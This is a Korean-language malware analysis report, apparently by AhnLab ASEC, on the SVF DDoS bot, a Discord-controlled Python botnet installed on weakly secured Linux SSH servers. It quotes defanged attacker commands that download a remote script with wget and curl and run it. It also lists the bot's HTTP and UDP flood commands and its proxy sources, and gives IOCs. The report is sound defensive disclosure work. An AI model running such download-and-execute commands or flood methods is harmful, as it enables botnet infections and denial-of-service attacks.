SVF DDoS Bot을 설치하는 리눅스 SSH 서버 대상 공격 사례 분석

SVF DDoS Bot을 설치하는 리눅스 SSH 서버 대상 공격 사례 분석

AhnLab SEcurity intelligence Center(ASEC)에서는 다수의 허니팟을 활용해 부적절하게 관리되고 있는 리눅스 서버를 대상으로 한 공격을 모니터링하고 있다. 대표적인 허니팟 중에는 취약한 자격 증명 정보를 사용하는 SSH 서비스가 있으며 많은 수의 DDoS 및 코인 마이너 공격자들이 이를 대상으로 공격을 수행하고 있다.

ASEC에서는 외부에서 유입되는 다수의 공격을 모니터링하던 중 최근 SVF Botnet이라는 이름의 DDoS Bot 악성코드를 설치하는 공격 사례를 확인하였다. SVF Bot은 파이썬으로 개발되었으며 Discord를 C&C 서버로 활용한다. 이외에도 DDoS 공격 시 다수의 Proxy 서버를 악용하는 것이 특징이다.

 

1. SVF Botnet 공격 사례

공격자는 허니팟 리눅스 서버에 로그인을 시도하였으며 성공한 이후에는 다음 명령으로 SVF Bot을 설치하였다. SVF Bot이 파이썬으로 제작되었기 때문에 내부적으로 필요한 라이브러리를 함께 설치한다.

> # python -m venv venv; source ./venv/bin/activate; pip install discord discord.py requests aiohttp lxml; wget hxxps://termbin[.]com/4ccx -O main.py; python main.py -s 5

 

2. SVF Bot 분석

소스 코드에는 해당 악성코드가 “SVF Team”에서 제작하였다는 내용과 PuTTY를 활용한 Botnet이 동작하지 않아 재미로 제작하였다는 설명이 적혀져 있다.

Figure 1. SVF Bot

SVF Bot이 실행되면 다음과 같은 Bot Token을 활용해 Discord 서버에 인증하여 이후 공격자의 명령에 따라 동작할 수 있다. 실행 시에는 Webhook을 이용해 서버 이름을 전송한다. 참고로 서버 이름은 설치 명령에서 “-s” 인자를 통해 5번으로 설정되었는데 이는 일종의 그룹으로서 추후 공격자가 각 그룹별로 DDoS 명령을 전달할 수 있다.

지원하는 명령 대부분은 DDoS 공격이며 대략적으로 L7 HTTP Flood와 L4 UDP Flood를 지원한다. 다음은 지원하는 각각의 명령 목록이다.

명령 인자 기능
$help N/A 봇넷 소개 (1번 서버만 응답)
$methods N/A DDoS 공격 사용법 (1번 서버만 응답)
$load <http> <maxtime> 공개 프록시 주소 스크래핑 및 유효성 검사 후 목록 저장 (L7 HTTP Flood 공격에서 사용)
$unload <http> 프록시 목록 초기화
$customhttp <threads> <times> <semaphore> <bypasscheck)> <servers/concurrents> <website> L7 HTTP Flood (커스텀 방식)
$http <servers/concurrents> <website> L7 HTTP Flood
$customudp <ip:port> <Packet Strength> <threads> <Packets Per Thread> <servers/concurrents> L4 UDP Flood (커스텀 방식)
$udp <servers/concurrents> <ip:port> L4 UDP Flood
$restart N/A 업데이트
$crash N/A 강제 종료
$stop N/A HTTP Flood 공격 중지

Table 1. 명령 목록

Figure 2. HTTP Flood 공격 루틴 일부

단순한 형태의 DDoS Bot 악성코드이지만 HTTP Flood 공격 시 프록시를 지원한다는 점이 특징이다. 먼저 다음과 같은 10개의 주소에서 프록시 주소 목록을 획득한 후 해당 주소로 구글에 로그인하는 검증 과정을 거친 후 목록에 추가한다. 이후 HTTP Flood 공격 시 목록에서 랜덤하게 선택한 프록시 주소를 활용해 접속을 시도하는 방식이다.

공개 프록시 주소
hxxps://sslproxies[.]org/
hxxps://free-proxy-list[.]net/
hxxps://www.us-proxy[.]org/
hxxps://raw.githubusercontent[.]com/ShiftyTR/Proxy-List/master/http.txt
hxxps://raw.githubusercontent[.]com/jetkai/proxy-list/main/online-proxies/txt/proxies-http.txt
hxxps://raw.githubusercontent[.]com/officialputuid/KangProxy/KangProxy/http/http.txt
hxxps://raw.githubusercontent[.]com/mmpx12/proxy-list/master/http.txt
hxxps://raw.githubusercontent[.]com/mmpx12/proxy-list/master/https.txt
hxxps://raw.githubusercontent[.]com/roosterkid/openproxylist/main/HTTPS_RAW.txt
hxxps://raw.githubusercontent[.]com/proxy4parsing/proxy-list/main/http.txt

Table 2. 공개 프록시 주소가 저장된 사이트

Figure 3. 공개 프록시 주소 획득 및 검증 루틴

참고로 업데이트 시 다음과 같은 명령으로 SVF Bot을 다시 다운로드해 설치한다. 현재 기준 다운로드가 불가하지만 추후에는 기능이 개선된 형태의 SVF Bot이 유포될 수 있다.

> pip install discord && pip install requests && pip install lxml && curl -sL hxxp://146.59.239[.]144:55/ > main.py && python main.py -s {server}

 

3. 결론

최근 부적절하게 관리되고 있는 리눅스 서버를 대상으로 SVF DDoS Bot을 설치하는 사례가 확인되었다. SVF DDoS Bot이 설치될 경우 리눅스 서버는 공격자의 명령을 받아 DDoS Bot으로 악용될 수 있다.

관리자들은 계정의 비밀번호를 추측하기 어려운 형태로 사용하고 주기적으로 변경하여 무차별 대입 공격과 사전 공격으로부터 리눅스 서버를 보호해야 하며, 최신 버전으로 패치하여 취약점 공격을 방지해야 한다. 또한 외부에 공개되어 접근 가능한 서버에 대해 방화벽과 같은 보안 제품을 이용해 공격자로부터의 접근을 통제해야 한다. 마지막으로 V3를 최신 버전으로 업데이트하여 악성코드의 감염을 사전에 차단할 수 있도록 신경 써야 한다.

MD5

cffe3fb6cb3e4b9b453c4147bdcd8c12
URL

http[:]//146[.]59[.]239[.]144[:]55/
https[:]//termbin[.]com/4ccx
IP

185[.]254[.]75[.]44

AhnLab TIP를 구독하시면 연관 IOC 및 상세 분석 정보를 추가적으로 확인하실 수 있습니다. 자세한 내용은 아래 배너를 클릭하여 확인해보세요.